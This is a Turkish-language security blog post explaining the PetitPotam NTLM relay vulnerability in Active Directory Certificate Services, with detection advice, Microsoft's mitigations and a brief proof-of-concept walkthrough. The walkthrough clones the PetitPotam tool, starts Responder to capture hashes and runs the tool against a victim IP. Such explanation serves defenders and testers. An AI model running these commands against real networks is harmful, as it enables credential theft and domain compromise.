PetitPotam Zafiyeti ve Uygulama Örneği

PetitPotam zafiyeti, yakın zamanda Fransa merkezli bir güvenlik araştırmacısı olan Lionel Gilles tarafından yayımlanmıştır. NT LAN Manager ile Active Directory Certificate Services’ın (ADCS) bulunduğu alanlarda etkili olan relay saldırıları için kullanılan bir Windows zafiyeti olan PetitPotam, uygun koşulların sağlanması durumunda Domain Controller’a ulaşabilmeyi bile sağlar.

PetitPotam Nasıl Çalışır?

Hash’lenmiş parolaları ifşa etmek yeterince kötü olsa da bir saldırgan bu hash’lenmiş parolaları kullanarak yetkilerini artırabilir. Saldırganlar, kurtarılan kimlik bilgilerini Active Directory Sertifika Hizmetleri Web Kaydı sayfasına göndererek bir Domain Controller sertifikası kaydetmek için kullanabilir. Bu durum, saldırganlara etki alanı hizmetlerinde Domain Controller olarak oturum açmak için kullanabilecekleri bir kimlik doğrulama sertifikasına erişim sağlar. Bu da tüm Windows etki alanını tehlikeye sokar. Zira böyle bir erişim Active Directory kullanan ve kullanıcı tabanlarını etki alanlarına göre gruplandıran büyük kurumsal kurulumlarınız olduğunda, muhtemelen felaketle sonuçlanabilecek büyük bir tehlikedir.

Tespit

Domain Controller’ın Windows Security Loglarında Event ID 4768, Ticket Granting Ticket (TGT) isteği olacaktır; istek için hangi sertifikanın kullanıldığına bakmak, tespiti yapmak için yeterli olacaktır.

Öneriler 

Microsoft tarafından KB5005413’te sunulan kılavuza, özellikle de Active Directory Sertifika Hizmetleri (ADCS) sunucularında EPA’yı etkinleştirme ve SSL kullanımını zorunlu kılmaya dikkat edilmelidir.

PetitPotam PoC

PetitPotam zafiyetine konu olduğunu düşündüğümüz makineler üzerinde PoC (Proof of Concept) yapılabilir. PetitPotam PoC’sini indirmek ve çalışması için gereken yetkileri sağlamak için aşağıdaki komutları takip edebiliriz.

git clone https://github.com/topotam/PetitPotam

cd PetitPotam && chmod +x PetitPotam.py

Burada bize gereken Kurban Host IP’si ile her durumda gerekli olmasa da Domain İsmi olacaktır. Responder ile aşağıdaki gibi dinleme moduna geçiyoruz ki tetiklenen hash’i yakalayabilelim:

sudo responder -I eth0

Not: LLMNR ve Responder hakkında daha fazla bilgi için: https://lostar.com.tr/2015/06/llmnr-ve-nbt-ns-zehirlenmesi.html

PetitPotam’ı çalıştırmak için:

python3 PetitPotam.py <KALI IP> <KURBAN IP> -d <DOMAIN ISMI>

Görüldüğü üzere Kurban Host’un hash’ini almış oluyoruz ve genel hattıyla PetitPotam PoC tamamlanmış oluyor.

Yazar: Umut Barış Başak

Referanslar:

https://cyberint.com/blog/techtalks/petitpotam-ntlm-relay-attack/

https://www.rapid7.com/blog/post/2021/08/03/petitpotam-novel-attack-chain-can-fully-compromise-windows-domains-running-ad-cs/

https://www.csoonline.com/article/3632090/ntlm-relay-attacks-explained-and-why-petitpotam-is-the-most-dangerous.html